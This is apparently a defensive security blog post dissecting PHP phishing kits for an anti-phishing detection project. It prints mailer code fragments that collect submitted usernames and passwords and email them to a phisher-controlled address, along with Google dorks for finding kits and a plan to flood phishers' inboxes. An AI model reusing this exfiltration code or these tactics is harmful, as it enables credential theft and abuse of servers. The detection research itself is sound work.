by Chad Baxter
Over the past week I’ve started a new project involving phishing kits. These nasty little things are usually zip files that a hacker has paid for on an underground website or forum. They take many forms and are used to phish for many different types of credentials. Most phishers target the end user by sending an email that looks like it comes from the company with which they have an account when in fact the link in the email is a link to a phishing kit.
These kits are all created in PHP and all have the same coding style. It seems the underground phishing community has a standard they think is best which they follow faithfully. Because there are thousands of different versions of these kits I thought it would be hard to write a good YARA rule to detect them. Turns out this “tried and true” format persists across almost 90% of them.
With ActiveAntiPhish my goal is to create an application that allows for easy detection of phishing kits found on your servers as well as those that show up in your emails. If you were to somehow accidentally input your credentials into a phishing kit ActiveAntiPhish’s goal is to make it really hard for the phisher to use those credentials.
A phishing kit is commonly comprised of three parts, the index, the blocker, and the mailer.
The index page is usually a cloned page of the target website with the form fields changed to point to the mailer. For simple accounts these files are generally single page in style with a redirect to the official site. For banking phishkits the index may be three to four separate pages for grabbing things like routing number, account number, pins, credit card info, and more.
Copy-pasting is virulent in the phishing community. The blocking script is the most common code among phishkits. This simple PHP script uses things like headers and user agent strings to determine if the computer visiting the page is a bot. The most commonly blocked bots are those by security companies and anti-phishing efforts like PhishTank. Often phishers block entire IP ranges of countries they do not want credentials from. These vary based on the phisher.
This chunk of code is the main interest of ActiveAntiPhish as it is what exfiltrates stolen user info. It commonly has four parts with another debug-like part that shows up occasionally.
The first part gathers info about the user such as IP, country of origin, and User Agent string. An example of this section can be found here:
$country = visitor_country(); $ip = getenv("REMOTE_ADDR"); $_SESSION['UserName'] = $_POST['UserName']; $port = getenv("REMOTE_PORT"); $browser = $_SERVER['HTTP_USER_AGENT']; $adddate=date("D M d, Y g:i a");
visitor_country() in this case is a function that uses publicly available geolocation APIs to get the victim’s country of origin.
The second part creates the log, this compiles all of the gathered info including the stolen credentials into a multi-line PHP string. This log contains lots of identifiable strings and is usually what ActiveAntiPhish uses to identify the mailer. An example log section:
$message .= "----------- ! +Citi LOGIN ! xDD+ ! -----------\n"; $message .= "----------- ! +Account infoS+ ! -----------\n"; $message .= "Email Address : ".$_POST['username']."\n"; $message .= "Password : ".$_POST['passwd']."\n"; $message .= "IP Address : ".$ip."\n"; $message .= "----------- ! +nJoY+ ! -----------\n";
Phishers like to tag their logs for an unknown reason. These tags are very identifiable. The structure of dashes with tags in the middle is common among all mailers. The YARA rules currently in use by ActiveAntiPhish trigger on this format as well as unique tags.
The third part is where the mailer gets its name. It composes the headers and addresses to send an email to a throwaway account that the phisher controls. It looks a little something like this:
$send = "REDACTED@gmail.com"; $subject = "Office365 logs xD $ip"; $headers = "From: El Patr0n<xCoNsoLe@REDACTED.com>"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; $arr=array($send, $IP); foreach ($arr as $send) mail($send,$subject,$message,$headers);
As you can see there are a lot of unique strings here, in fact phishers seem to like 1337SpEaK. This makes it easy to detect.
The fourth part is often the redirect. This is an attempt to make the phishing page look legit by either logging you into or forwarding you on to the homepage of the impersonated site:
This part of the mailer is only helpful in identifying phishkits when used in conjunction with the above indicators.
The fifth and optional part is usually used to debug the mailer or is used as a fallback in case the throwaway account gets banned. It creates a local file and writes the log that would have been sent via email to the file. Phishkits that do this help us better understand who is being targeted as usually the log files are publicly readable. This allows me to contact those affected, especially those who had their corporate or university email stolen. The fallback option looks something like this:
$handle = fopen("script.txt", "a"); fwrite($handle, $message); fclose($handle);
The method I use for gathering phishkits is usually a list of Google dorks. PhishTank is a good source if you’re willing to hunt. Things to look for when hunting for phishkits are open directories with odd file and folder names. For example, here is a Google dork for Microsoft phishkits:
intitle:"Index of" insite:"onedrive" ".zip"
Once you find one you can continue to find more by using filenames you find to be common. Another common Microsoft phishkit dork:
intitle:"Index of" insite:"m1cr0" ".zip"
These dorks work because of the way phishers exploit vulnerable web servers. Often times a phisher finds a way of uploading a PHP webshell, this can be through poorly implemented upload pages or exploits (looking at you revslider). They then use the webshell to upload a zip file of the phishkit. They later extract the zip file and their kit is ready to go. Most phishers forget to delete the zip file after they’re done. This allows us to download a copy of their phishkit. We now know how to interact with their mailer script which allows us to automate saturation of the phisher’s email account.
Most throwaway accounts are GMail accounts the reason for this is unknown. But this allows us to make some educated guesses as to the limits of the account. GMail only allows its users to receive about 60 emails per minute (or an email a second). ActiveAntiPhish will be able to saturate the phisher’s account with ease simply by calling the mailer script. It is not known how GMail handles email flooding. But we can assume the server sending the email gets banned when it reaches the daily limit. That’s 1 email a second, for every minute of 24 hours or 86,400 emails. Once we reach this point the GMail documentation is very clear that the server is banned for 24 hours for the first offense.
This is important because if the phisher does not have a fallback email or logfile they have lost the ability to collect logs for the day while also having their inbox full of fake credentials. This would give a targeted company or individual time to contact webhosts and domain registrars to get the phishing page taken down.
The whole point of saturation is to increase the noise in the signal to noise ratio. This makes it difficult for a phisher to verify stolen credentials, making it very likely for them to just abandon that email account. Because the fake traffic is generated by the site with the mailer the computer running ActiveAntiPhish is not likely to get banned.
The indicators of compromise that can be gleaned from phishkits allow us to build robust YARA rules for detecting their presence on our networks. The rules used by ActiveAntiPhish can be found in the repo here: phishkit.yar.
ActiveAntiPhish is still under heavy development and is currently in the research phase. Any contributions are welcome. You can find the repo HERE
tags: phishing - databases - security - phishkits